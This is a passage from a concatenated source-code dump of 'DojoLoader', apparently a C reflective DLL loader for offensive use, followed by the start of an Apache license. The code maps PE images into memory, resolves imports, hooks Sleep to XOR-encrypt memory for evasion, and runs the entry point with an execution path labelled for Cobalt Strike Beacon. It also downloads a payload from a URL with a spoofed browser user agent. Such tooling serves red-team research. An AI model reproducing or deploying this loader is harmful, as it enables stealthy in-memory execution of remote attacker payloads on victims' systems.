218 | 219 | pMemModule->lpBase = pDest; 220 | pMemModule->iBase = (ULONGLONG)pDest; 221 | pMemModule->dwSizeOfImage = pImageNtHeader->OptionalHeader.SizeOfImage; 222 | pMemModule->isLoaded = TRUE; 223 | 224 | pImageDosHeader = (PIMAGE_DOS_HEADER)pDest; 225 | pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pImageDosHeader, pImageDosHeader->e_lfanew); 226 | pImageSectionHeader = MakePointer(PIMAGE_SECTION_HEADER, pImageNtHeader, sizeof(IMAGE_NT_HEADERS)); 227 | 228 | LPVOID pSectionBase = NULL; 229 | LPVOID pSectionDataSource = NULL; 230 | for (int i = 0; i < nNumberOfSections; ++i) { 231 | if (pImageSectionHeader[i].VirtualAddress != 0) { 232 | pSectionBase = MakePointer(LPVOID, lpBase, pImageSectionHeader[i].VirtualAddress); 233 | if (pImageSectionHeader[i].SizeOfRawData == 0) { 234 | DWORD size = pImageSectionHeader[i].Misc.VirtualSize > 0 ? pImageSectionHeader[i].Misc.VirtualSize : pImageNtHeader->OptionalHeader.SectionAlignment; 235 | if (size > 0) { 236 | ZeroMemory(pSectionBase, size); 237 | } 238 | } 239 | else { 240 | // Checking if section has executable flag 241 | if (pImageSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) { 242 | DllPayload.execRegionPtr = pSectionBase; 243 | DllPayload.execRegionSize = pImageSectionHeader[i].SizeOfRawData; 244 | printf("[+] Saved RX memory pointer address: %#llx and size %#llx\n", (unsigned long long)DllPayload.execRegionPtr, (unsigned long long)DllPayload.execRegionSize); 245 | } 246 | pSectionDataSource = MakePointer(LPVOID, PEdata, pImageSectionHeader[i].PointerToRawData); 247 | RtlMoveMemory(pSectionBase, pSectionDataSource, pImageSectionHeader[i].SizeOfRawData); 248 | } 249 | } 250 | } 251 | 252 | 253 | 254 | if (Configs.SleepHookFunc == SleepHookMemoryHopping || Configs.SleepHookFunc == SleepHookMemoryBouncing) { 255 | printf("[+] copying %u (%#llx) bytes from address %p to buffer\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, DllPayload.startOfMappedPE); 256 | DllPayload.tempPEdatabuffer = (BYTE*)malloc(DllPayload.mappedimagesize); 257 | if (DllPayload.tempPEdatabuffer == NULL) { 258 | printf("[+] Error: Failed to allocate dataBuffer\n"); 259 | return FALSE; 260 | } 261 | memcpy(DllPayload.tempPEdatabuffer, (LPVOID)(pImageNtHeader->OptionalHeader.ImageBase), DllPayload.mappedimagesize); 262 | printf("[+] XORing buffer\n"); 263 | XORWithKey(DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize, Configs.SleepXorKey); 264 | } 265 | 266 | 267 | return TRUE; 268 | } 269 | 270 | 271 | //--------------------------------------------------------------------------------------------------------------// 272 | // Relocates the module. 273 | doRelocations(PMEM_MODULE pMemModule) { 274 | if (pMemModule == NULL || pMemModule->pImageDosHeader == NULL) 275 | return FALSE; 276 | 277 | PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pMemModule->pImageDosHeader, pMemModule->pImageDosHeader->e_lfanew); 278 | LONGLONG lBaseDelta = (PBYTE)pMemModule->lpBase - (PBYTE)oldbase; 279 | 280 | if (lBaseDelta == 0) { 281 | printf("[+] no delta detected from address: %#llx\n", (unsigned long long)DllPayload.startOfMappedPE); 282 | return TRUE; 283 | } 284 | 285 | printf("[+] delta of %lld (%#llx) bytes detected from address: %#llx\n", (unsigned long long)lBaseDelta, (unsigned long long)lBaseDelta, (unsigned long long)DllPayload.startOfMappedPE); 286 | 287 | if (pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == 0 || 288 | pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size == 0) 289 | return TRUE; 290 | 291 | PIMAGE_BASE_RELOCATION pImageBaseRelocation = MakePointer(PIMAGE_BASE_RELOCATION, pMemModule->lpBase, 292 | pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); 293 | 294 | if (pImageBaseRelocation == NULL) { 295 | pMemModule->dwErrorCode = MMEC_INVALID_RELOCATION_BASE; 296 | return FALSE; 297 | } 298 | 299 | while ((pImageBaseRelocation->VirtualAddress + pImageBaseRelocation->SizeOfBlock) != 0) { 300 | PWORD pRelocationData = MakePointer(PWORD, pImageBaseRelocation, sizeof(IMAGE_BASE_RELOCATION)); 301 | int NumberOfRelocationData = (pImageBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); 302 | 303 | for (int i = 0; i < NumberOfRelocationData; i++) { 304 | if (IMAGE_REL_BASED_HIGHLOW == (pRelocationData[i] >> 12)) { 305 | PDWORD pAddress = (PDWORD)(pMemModule->iBase + pImageBaseRelocation->VirtualAddress + (pRelocationData[i] & 0x0FFF)); 306 | DWORD oldAddress = *pAddress; 307 | *pAddress += (DWORD)lBaseDelta; 308 | printf("[+] Relocated HIGHLOW at %#llx from %#llx to %#llx\n", (ULONGLONG)pAddress, (ULONGLONG)oldAddress, (ULONGLONG)*pAddress); 309 | } 310 | 311 | #ifdef _WIN64 312 | if (IMAGE_REL_BASED_DIR64 == (pRelocationData[i] >> 12)) { 313 | PULONGLONG pAddress = (PULONGLONG)(pMemModule->iBase + pImageBaseRelocation->VirtualAddress + (pRelocationData[i] & 0x0FFF)); 314 | ULONGLONG oldAddress = *pAddress; 315 | *pAddress += lBaseDelta; 316 | printf("[+] Relocated DIR64 at %#llx from %#llx to %#llx\n", (ULONGLONG)pAddress, (ULONGLONG)oldAddress, (ULONGLONG)*pAddress); 317 | } 318 | #endif 319 | } 320 | 321 | pImageBaseRelocation = MakePointer(PIMAGE_BASE_RELOCATION, pImageBaseRelocation, pImageBaseRelocation->SizeOfBlock); 322 | } 323 | 324 | return TRUE; 325 | } 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | BOOL ResolveImports(PMEM_MODULE pMemModule) { 334 | if (NULL == pMemModule || NULL == pMemModule->pImageDosHeader) 335 | return FALSE; 336 | 337 | PIMAGE_NT_HEADERS pImageNtHeader = 338 | MakePointer(PIMAGE_NT_HEADERS, pMemModule->pImageDosHeader, pMemModule->pImageDosHeader->e_lfanew); 339 | 340 | if (pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress == 0 || 341 | pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size == 0) 342 | return TRUE; 343 | 344 | PIMAGE_IMPORT_DESCRIPTOR pImageImportDescriptor = 345 | MakePointer(PIMAGE_IMPORT_DESCRIPTOR, pMemModule->lpBase, 346 | pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); 347 | 348 | for (; pImageImportDescriptor->Name; pImageImportDescriptor++) { 349 | PCHAR pDllName = MakePointer(PCHAR, pMemModule->lpBase, pImageImportDescriptor->Name); 350 | HMODULE hMod = GetModuleHandleA(pDllName); 351 | if (NULL == hMod) { 352 | hMod = LoadLibraryA(pDllName); 353 | } 354 | if (NULL == hMod) { 355 | pMemModule->dwErrorCode = MMEC_IMPORT_MODULE_FAILED; 356 | return FALSE; 357 | } 358 | 359 | uintptr_t* thunkRef; 360 | FARPROC* funcRef; 361 | 362 | if (pImageImportDescriptor->OriginalFirstThunk) { 363 | thunkRef = MakePointer(uintptr_t*, pMemModule->lpBase, pImageImportDescriptor->OriginalFirstThunk); 364 | funcRef = MakePointer(FARPROC*, pMemModule->lpBase, pImageImportDescriptor->FirstThunk); 365 | } 366 | else { 367 | thunkRef = MakePointer(uintptr_t*, pMemModule->lpBase, pImageImportDescriptor->FirstThunk); 368 | funcRef = MakePointer(FARPROC*, pMemModule->lpBase, pImageImportDescriptor->FirstThunk); 369 | } 370 | 371 | for (; *thunkRef; thunkRef++, funcRef++) { 372 | if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) { 373 | *funcRef = GetProcAddress(hMod, (LPCSTR)IMAGE_ORDINAL(*thunkRef)); 374 | printf("[+] Ordinal: %llu, Address: %p\n", (unsigned long long)IMAGE_ORDINAL(*thunkRef), *funcRef); 375 | } 376 | else { 377 | PIMAGE_IMPORT_BY_NAME thunkData = MakePointer(PIMAGE_IMPORT_BY_NAME, pMemModule->lpBase, (*thunkRef)); 378 | *funcRef = GetProcAddress(hMod, (LPCSTR)&thunkData->Name); 379 | printf("[+] Function Name: %s, Address: %p\n", thunkData->Name, *funcRef); 380 | 381 | // Check if the function should be hooked 382 | if (Configs.SleepHookFunc != NULL) { 383 | if (check_hook((LPCSTR)&thunkData->Name)) { 384 | printf("[+] Hooking function: %s\n", thunkData->Name); 385 | *funcRef = (FARPROC)Configs.SleepHookFunc; 386 | } 387 | } 388 | } 389 | 390 | if (*funcRef == 0) { 391 | pMemModule->dwErrorCode = MMEC_IMPORT_MODULE_FAILED; 392 | return FALSE; 393 | } 394 | printf("[+] Written to IAT at address: %p\n", (void*)funcRef); 395 | } 396 | } 397 | 398 | return TRUE; 399 | } 400 | 401 | 402 | 403 | BOOL SetPermissions(PMEM_MODULE pMemModule) { 404 | if (pMemModule == NULL) 405 | return FALSE; 406 | 407 | int Protections[2][2][2] = { 408 | {{PAGE_NOACCESS, PAGE_WRITECOPY}, {PAGE_READONLY, PAGE_READWRITE}}, 409 | {{PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY}, {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE}}, 410 | }; 411 | 412 | PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)(pMemModule->lpBase); 413 | 414 | ULONGLONG ulBaseHigh = 0; 415 | #ifdef _WIN64 416 | ulBaseHigh = (pMemModule->iBase & 0xffffffff00000000); 417 | #endif 418 | 419 | PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pImageDosHeader, pImageDosHeader->e_lfanew); 420 | int nNumberOfSections = pImageNtHeader->FileHeader.NumberOfSections; 421 | PIMAGE_SECTION_HEADER pImageSectionHeader = MakePointer(PIMAGE_SECTION_HEADER, pImageNtHeader, sizeof(IMAGE_NT_HEADERS)); 422 | 423 | for (int idxSection = 0; idxSection < nNumberOfSections; idxSection++) { 424 | DWORD protectFlag = 0; 425 | DWORD oldProtect = 0; 426 | BOOL isExecutable = FALSE; 427 | BOOL isReadable = FALSE; 428 | BOOL isWritable = FALSE; 429 | BOOL isNotCache = FALSE; 430 | 431 | ULONGLONG dwSectionBase = (ULONGLONG)pMemModule->lpBase + pImageSectionHeader[idxSection].VirtualAddress; 432 | 433 | DWORD dwSecionSize = pImageSectionHeader[idxSection].SizeOfRawData; 434 | if (dwSecionSize == 0) 435 | continue; 436 | 437 | DWORD dwSectionCharacteristics = pImageSectionHeader[idxSection].Characteristics; 438 | 439 | if (dwSectionCharacteristics & IMAGE_SCN_MEM_DISCARDABLE) { 440 | VirtualFree((LPVOID)dwSectionBase, dwSecionSize, MEM_DECOMMIT); 441 | continue; 442 | } 443 | 444 | if (dwSectionCharacteristics & IMAGE_SCN_MEM_EXECUTE) 445 | isExecutable = TRUE; 446 | 447 | if (dwSectionCharacteristics & IMAGE_SCN_MEM_READ) 448 | isReadable = TRUE; 449 | 450 | if (dwSectionCharacteristics & IMAGE_SCN_MEM_WRITE) 451 | isWritable = TRUE; 452 | 453 | if (dwSectionCharacteristics & IMAGE_SCN_MEM_NOT_CACHED) 454 | isNotCache = TRUE; 455 | 456 | protectFlag = Protections[isExecutable][isReadable][isWritable]; 457 | if (isNotCache) 458 | protectFlag |= PAGE_NOCACHE; 459 | 460 | if (!VirtualProtect((LPVOID)dwSectionBase, dwSecionSize, protectFlag, &oldProtect)) { 461 | printf("[+] VirtualProtect failed for address: %p, size: %lu (%#llx), permissions: %lu\n", (void*)dwSectionBase, dwSecionSize, (unsigned long long)dwSecionSize, protectFlag); 462 | pMemModule->dwErrorCode = MMEC_PROTECT_SECTION_FAILED; 463 | return FALSE; 464 | } else { 465 | printf("[+] VirtualProtect succeeded for address: %p, size: %lu (%#llx), permissions: %lu\n", (void*)dwSectionBase, dwSecionSize, (unsigned long long)dwSecionSize, protectFlag); 466 | } 467 | } 468 | 469 | return TRUE; 470 | } 471 | 472 | 473 | //--------------------------------------------------------------------------------------------------------------// 474 | // Processes TLS data 475 | BOOL HandleTLS(PMEM_MODULE pMemModule) { 476 | if (pMemModule == NULL || pMemModule->pImageDosHeader == NULL) 477 | return FALSE; 478 | 479 | PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pMemModule->pImageDosHeader, pMemModule->pImageDosHeader->e_lfanew); 480 | IMAGE_DATA_DIRECTORY imageDirectoryEntryTls = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS]; 481 | 482 | if (imageDirectoryEntryTls.VirtualAddress == 0) 483 | return TRUE; 484 | 485 | PIMAGE_TLS_DIRECTORY tls = (PIMAGE_TLS_DIRECTORY)(pMemModule->iBase + imageDirectoryEntryTls.VirtualAddress); 486 | PIMAGE_TLS_CALLBACK* callback = (PIMAGE_TLS_CALLBACK*)tls->AddressOfCallBacks; 487 | 488 | if (callback) { 489 | while (*callback) { 490 | (*callback)((LPVOID)pMemModule->hModule, DLL_PROCESS_ATTACH, NULL); 491 | callback++; 492 | } 493 | } 494 | 495 | return TRUE; 496 | } 497 | 498 | 499 | //--------------------------------------------------------------------------------------------------------------// 500 | // Calls the module entry. 501 | BOOL CallModuleEntry(PMEM_MODULE pMemModule, DWORD dwReason) { 502 | if (pMemModule == NULL || pMemModule->pImageDosHeader == NULL) 503 | return FALSE; 504 | 505 | PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pMemModule->pImageDosHeader, pMemModule->pImageDosHeader->e_lfanew); 506 | Type_DllMain pfnModuleEntry = NULL; 507 | 508 | if (pImageNtHeader->OptionalHeader.AddressOfEntryPoint == 0) { 509 | return FALSE; 510 | } 511 | 512 | pfnModuleEntry = MakePointer(Type_DllMain, pMemModule->lpBase, pImageNtHeader->OptionalHeader.AddressOfEntryPoint); 513 | 514 | if (pfnModuleEntry == NULL) { 515 | pMemModule->dwErrorCode = MMEC_INVALID_ENTRY_POINT; 516 | return FALSE; 517 | } 518 | 519 | printf("[+] Calling entry point at address: %p\n", (void*)pfnModuleEntry); 520 | 521 | 522 | 523 | if (Configs.downloadedBuffer != NULL) { 524 | printf("[+] freeing original opened/downloaded payload at address %p\n", Configs.downloadedBuffer); 525 | free(Configs.downloadedBuffer); 526 | Configs.downloadedBuffer = NULL; // Set pointer to NULL after freeing 527 | } 528 | 529 | 530 | 531 | // execution method for Cobalt Strike 4.9.1 532 | if(Configs.Beacon){ 533 | pfnModuleEntry(pMemModule->hModule, dwReason, NULL); 534 | return pfnModuleEntry(pMemModule->hModule, 4, NULL); 535 | } 536 | else { 537 | return pfnModuleEntry(pMemModule->hModule, dwReason, NULL); 538 | 539 | } 540 | } 541 | 542 | 543 | 544 | //--------------------------------------------------------------------------------------------------------------// 545 | // Unmaps all the sections. 546 | VOID UnmapModule(PMEM_MODULE pMemModule) { 547 | if (NULL == pMemModule || FALSE == pMemModule->isLoaded || NULL == pMemModule->lpBase) 548 | return; 549 | VirtualFree(pMemModule->lpBase, 0, MEM_RELEASE); 550 | pMemModule->lpBase = NULL; 551 | pMemModule->dwCrc = 0; 552 | pMemModule->dwSizeOfImage = 0; 553 | pMemModule->isLoaded = FALSE; 554 | } 555 | 556 | //--------------------------------------------------------------------------------------------------------------// 557 | // Gets the CRC32 of the data. 558 | UINT32 GetCRC32(UINT32 uInit, void* pBuf, UINT32 nBufSize) { 559 | #define CRC32_POLY 0x04C10DB7L 560 | UINT32 crc = 0; 561 | UINT32 Crc32table[256]; 562 | for (int i = 0; i < 256; i++) { 563 | crc = (UINT32)(i << 24); 564 | for (int j = 0; j < 8; j++) { 565 | if (crc >> 31) 566 | crc = (crc << 1) ^ CRC32_POLY; 567 | else 568 | crc = crc << 1; 569 | } 570 | Crc32table[i] = crc; 571 | } 572 | 573 | crc = uInit; 574 | UINT32 nCount = nBufSize; 575 | PUCHAR p = (PUCHAR)pBuf; 576 | while (nCount--) { 577 | crc = (crc << 8) ^ Crc32table[(crc >> 24) ^ *p++]; 578 | } 579 | 580 | return crc; 581 | } 582 | -------------------------------------------------------------------------------- /DojoLoader/memloader.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include "structs.h" 3 | 4 | #ifndef MEMLOADER_H 5 | #define SIZE_ARRAY 32 6 | #endif 7 | 8 | 9 | //global variable offset 10 | extern int offset;// 0x30000; 11 | 12 | 13 | 14 | extern PVOID lpBaseArray[SIZE_ARRAY]; //save addresses that we wrote to, so that we can free 15 | extern SIZE_T TSizeArray[SIZE_ARRAY]; //save sizes of the memory pages we allocated 16 | extern int index; 17 | 18 | 19 | void FreeRawModule(PVOID pDllBytes); 20 | 21 | //--------------------------------------------------------------------------------------------------------------// 22 | // the following 2 functions, are made to add elements in the arrays we have 23 | void AppendTSizeArray(SIZE_T Value); 24 | void AppendlpBaseArray(PVOID Value); 25 | 26 | BOOL LoadModuleInt(PMEM_MODULE pMemModule, LPVOID PEdata, BOOL CallEntryPoint); 27 | 28 | HMEMMODULE LoadMod(LPVOID PEdata, BOOL CallEntryPoint, DWORD* pdwError); 29 | 30 | // Tests the return value and jump to exit label if false. 31 | #define IfFalseGoExitWithError(x, exp) \ 32 | do { \ 33 | if (!(br = (x)) && (exp)) \ 34 | goto _Exit; \ 35 | } while (0) 36 | 37 | // Create a pointer value. 38 | #define MakePointer(t, p, offset) ((t)((PBYTE)(p) + offset)) 39 | 40 | /// True if the data is valid PE format. 41 | BOOL IsPEValid(PMEM_MODULE pMemModule, LPVOID PEdata); 42 | 43 | 44 | // this function here is used to map all the sections 45 | BOOL MapModule(PMEM_MODULE pMemModule, LPVOID PEdata); 46 | 47 | // Relocates the module. 48 | BOOL doRelocations(PMEM_MODULE pMemModule); 49 | 50 | BOOL check_hook(const char* functionName); 51 | 52 | BOOL ResolveImports(PMEM_MODULE pMemModule); 53 | BOOL SetPermissions(PMEM_MODULE pMemModule); 54 | 55 | 56 | // Processes TLS data 57 | BOOL HandleTLS(PMEM_MODULE pMemModule); 58 | 59 | 60 | // Calls the module entry. 61 | BOOL CallModuleEntry(PMEM_MODULE pMemModule, DWORD dwReason); 62 | 63 | //--------------------------------------------------------------------------------------------------------------// 64 | // Unmaps all the sections. 65 | VOID UnmapModule(PMEM_MODULE pMemModule); 66 | // Gets the CRC32 of the data. 67 | UINT32 GetCRC32(UINT32 uInit, void* pBuf, UINT32 nBufSize); 68 | -------------------------------------------------------------------------------- /DojoLoader/structs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | #define MMEC_OK 0 5 | #define MMEC_BAD_PE_FORMAT 1 6 | #define MMEC_ALLOCATED_MEMORY_FAILED 2 7 | #define MMEC_INVALID_RELOCATION_BASE 3 8 | #define MMEC_IMPORT_MODULE_FAILED 4 9 | #define MMEC_PROTECT_SECTION_FAILED 5 10 | #define MMEC_INVALID_ENTRY_POINT 6 11 | #define MMEC_INVALID_WIN32_ENV 0xff 12 | 13 | /// Enums for MemModuleHelper. 14 | typedef enum _MMHELPER_METHOD { 15 | MHM_BOOL_LOAD, // Call LoadMemModule 16 | MHM_VOID_FREE, // Call FreeMemModule 17 | MHM_FARPROC_GETPROC, // Call GetMemModuleProc 18 | } MMHELPER_METHOD; 19 | 20 | typedef void** HMEMMODULE; 21 | 22 | struct PAYLOAD { 23 | PVOID pDllBytes; 24 | DWORD BytesNumber; 25 | HMEMMODULE Module; 26 | DWORD mappedimagesize; 27 | LPVOID startOfMappedPE; 28 | LPVOID OldstartOfMappedPE; 29 | BYTE* tempPEdatabuffer; 30 | LPVOID execRegionPtr; 31 | DWORD execRegionSize; 32 | 33 | }_PAYLOAD, * PPAYLOAD; 34 | 35 | extern struct PAYLOAD DllPayload; 36 | 37 | typedef void (WINAPI* FuncPtr)(DWORD); 38 | 39 | struct CONFIG { 40 | FuncPtr SleepHookFunc; 41 | char* XorKey; 42 | char SleepXorKey[256]; 43 | BOOL Beacon; 44 | BOOL Sleep_RXRW; 45 | char* downloadedBuffer; 46 | }; 47 | 48 | extern struct CONFIG Configs; 49 | 50 | typedef struct __MEMMODULE_S { 51 | union { 52 | #if _WIN64 53 | ULONGLONG iBase; 54 | #else 55 | DWORD iBase; 56 | #endif 57 | HMODULE hModule; 58 | LPVOID lpBase; 59 | PIMAGE_DOS_HEADER pImageDosHeader; 60 | }; 61 | DWORD dwSizeOfImage; 62 | DWORD dwCrc; 63 | 64 | 65 | BOOL CallEntryPoint; 66 | BOOL isLoaded; 67 | DWORD dwErrorCode; 68 | } MEM_MODULE, * PMEM_MODULE; 69 | 70 | extern PMEM_MODULE pMemModule; 71 | 72 | extern LPVOID oldbase; 73 | 74 | //--------------------------------------------------------------------------------------------------------------// 75 | 76 | 77 | typedef BOOL(WINAPI* Type_DllMain)(HMODULE, DWORD, LPVOID); 78 | 79 | BOOL LoadModuleInt(PMEM_MODULE pMemModule, LPVOID lpPeModuleBuffer, BOOL bCallEntry); 80 | BOOL IsPEValid(PMEM_MODULE pMemModule, LPVOID lpPeModuleBuffer); 81 | BOOL MapModule(PMEM_MODULE pMemModule, LPVOID lpPeModuleBuffer); 82 | BOOL doRelocations(PMEM_MODULE pMemModule); 83 | BOOL ResolveImports(PMEM_MODULE pMemModule); 84 | BOOL SetPermissions(PMEM_MODULE pMemModule); 85 | BOOL HandleTLS(PMEM_MODULE pMemModule); 86 | BOOL CallEntryPoint(PMEM_MODULE pMemModule, DWORD dwReason); 87 | VOID UnmapModule(PMEM_MODULE pMemModule); 88 | UINT32 GetCRC32(UINT32 uInit, void* pBuf, UINT32 nBufSize); 89 | 90 | //--------------------------------------------------------------------------------------------------------------// 91 | 92 | 93 | typedef struct _UNICODE_STRING { 94 | USHORT Length; 95 | USHORT MaximumLength; 96 | PWSTR Buffer; 97 | } UNICODE_STRING; 98 | typedef UNICODE_STRING* PUNICODE_STRING; 99 | typedef const UNICODE_STRING* PCUNICODE_STRING; 100 | 101 | typedef struct _LDR_DATA_TABLE_ENTRY { 102 | LIST_ENTRY InLoadOrderModuleList; 103 | LIST_ENTRY InMemoryOrderModuleList; 104 | LIST_ENTRY InInitializationOrderModuleList; 105 | PVOID BaseAddress; 106 | PVOID EntryPoint; 107 | ULONG SizeOfImage; 108 | UNICODE_STRING FullDllName; 109 | UNICODE_STRING BaseDllName; 110 | ULONG Flags; 111 | SHORT LoadCount; 112 | SHORT TlsIndex; 113 | LIST_ENTRY HashTableEntry; 114 | ULONG TimeDateStamp; 115 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 116 | 117 | typedef struct _PEB_LDR_DATA { 118 | ULONG Length; 119 | BOOLEAN Initialized; 120 | PVOID SsHandle; 121 | LIST_ENTRY InLoadOrderModuleList; 122 | LIST_ENTRY InMemoryOrderModuleList; 123 | LIST_ENTRY InInitializationOrderModuleList; 124 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 125 | 126 | #ifdef _WIN64 127 | typedef struct _PEB { 128 | BYTE Reserved1[2]; 129 | BYTE BeingDebugged; 130 | BYTE Reserved2[21]; 131 | PPEB_LDR_DATA Ldr; 132 | PVOID ProcessParameters; 133 | BYTE Reserved3[520]; 134 | PVOID PostProcessInitRoutine; 135 | BYTE Reserved4[136]; 136 | ULONG SessionId; 137 | } PEB, * PPEB; 138 | #else 139 | typedef struct _PEB { 140 | BYTE Reserved1[2]; 141 | BYTE BeingDebugged; 142 | BYTE Reserved2[1]; 143 | PVOID Reserved3[2]; 144 | PPEB_LDR_DATA Ldr; 145 | LPVOID ProcessParameters; 146 | PVOID Reserved4[3]; 147 | PVOID AtlThunkSListPtr; 148 | PVOID Reserved5; 149 | ULONG Reserved6; 150 | PVOID Reserved7; 151 | ULONG Reserved8; 152 | ULONG AtlThunkSListPtr32; 153 | PVOID Reserved9[45]; 154 | BYTE Reserved10[96]; 155 | LPVOID PostProcessInitRoutine; 156 | BYTE Reserved11[128]; 157 | PVOID Reserved12[1]; 158 | ULONG SessionId; 159 | } PEB, * PPEB; 160 | #endif 161 | 162 | //--------------------------------------------------------------------------------------------------------------// -------------------------------------------------------------------------------- /DojoLoader/utils.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "utils.h" 5 | #include "structs.h" 6 | 7 | 8 | #pragma comment(lib, "wininet.lib") 9 | 10 | struct PAYLOAD DllPayload = { 0 }; 11 | 12 | char* DownloadFile(const char* url, DWORD* size) 13 | { 14 | HINTERNET hInternet, hConnect; 15 | DWORD bytesRead; 16 | 17 | // Initialize WinINet 18 | hInternet = InternetOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); 19 | if (hInternet == NULL) 20 | { 21 | printf("InternetOpen failed (%lu)\n", GetLastError()); 22 | return NULL; 23 | } 24 | 25 | hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0); 26 | if (hConnect == NULL) 27 | { 28 | printf("InternetOpenUrlA failed (%lu)\n", GetLastError()); 29 | InternetCloseHandle(hInternet); 30 | return NULL; 31 | } 32 | 33 | const DWORD bufferSize = 20 * 1024 * 1024; 34 | char* buffer = malloc(bufferSize); 35 | if (buffer == NULL) { 36 | printf("Failed to allocate memory\n"); 37 | return NULL; 38 | } 39 | *size = 0; 40 | while (1) 41 | { 42 | if (!InternetReadFile(hConnect, buffer + *size, 4096, &bytesRead) || bytesRead == 0) 43 | { 44 | break; 45 | } 46 | *size += bytesRead; 47 | if (*size > bufferSize) { 48 | printf("Buffer overflow\n"); 49 | free(buffer); 50 | return NULL; 51 | } 52 | } 53 | printf("[+] Buffer allocated at address: %p\n", buffer); 54 | 55 | Configs.downloadedBuffer = buffer; 56 | 57 | InternetCloseHandle(hConnect); 58 | InternetCloseHandle(hInternet); 59 | 60 | return buffer; 61 | } 62 | 63 | void XORWithKey(char* data, DWORD size, const char* key) 64 | { 65 | size_t keyLength = strlen(key); 66 | for (DWORD i = 0; i < size; ++i) 67 | { 68 | data[i] ^= key[i % keyLength]; 69 | } 70 | } 71 | 72 | BOOL ReadDllFile(char* FileInput) { 73 | HANDLE hFile; 74 | DWORD FileSize, lpNumberOfBytesRead; 75 | BOOL Succ; 76 | PVOID DllBytes; 77 | 78 | 79 | 80 | hFile = CreateFileA(FileInput, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL); 81 | 82 | if (hFile == INVALID_HANDLE_VALUE) { 83 | DWORD error = GetLastError(); 84 | if (error == ERROR_FILE_NOT_FOUND) { 85 | printf("[!] Dll File Doesnt Exist \n"); 86 | } 87 | else { 88 | printf("[!] ERROR READING FILE [%d]\n", error); 89 | } 90 | system("PAUSE"); 91 | return FALSE; 92 | } 93 | 94 | FileSize = GetFileSize(hFile, NULL); 95 | DllBytes = malloc((SIZE_T)FileSize); 96 | 97 | Succ = ReadFile(hFile, DllBytes, FileSize, &lpNumberOfBytesRead, NULL); 98 | printf("[i] lpNumberOfBytesRead Read ::: %d \n", lpNumberOfBytesRead); 99 | printf("[+] DllBytes :: 0x%0-16p \n", (void*)DllBytes); 100 | if (!Succ) { 101 | printf("[!] ERROR ReadFile [%d]\n", GetLastError()); 102 | system("PAUSE"); 103 | return FALSE; 104 | } 105 | 106 | DllPayload.BytesNumber = lpNumberOfBytesRead; 107 | DllPayload.pDllBytes = DllBytes; 108 | 109 | CloseHandle(hFile); 110 | 111 | return TRUE; 112 | } -------------------------------------------------------------------------------- /DojoLoader/utils.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "structs.h" 4 | #pragma comment(lib, "wininet.lib") 5 | #pragma once 6 | 7 | char* DownloadFile(const char* url, DWORD* size); 8 | void XORWithKey(char* data, DWORD size, const char* key); 9 | BOOL ReadDllFile(char* FileInput); 10 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | 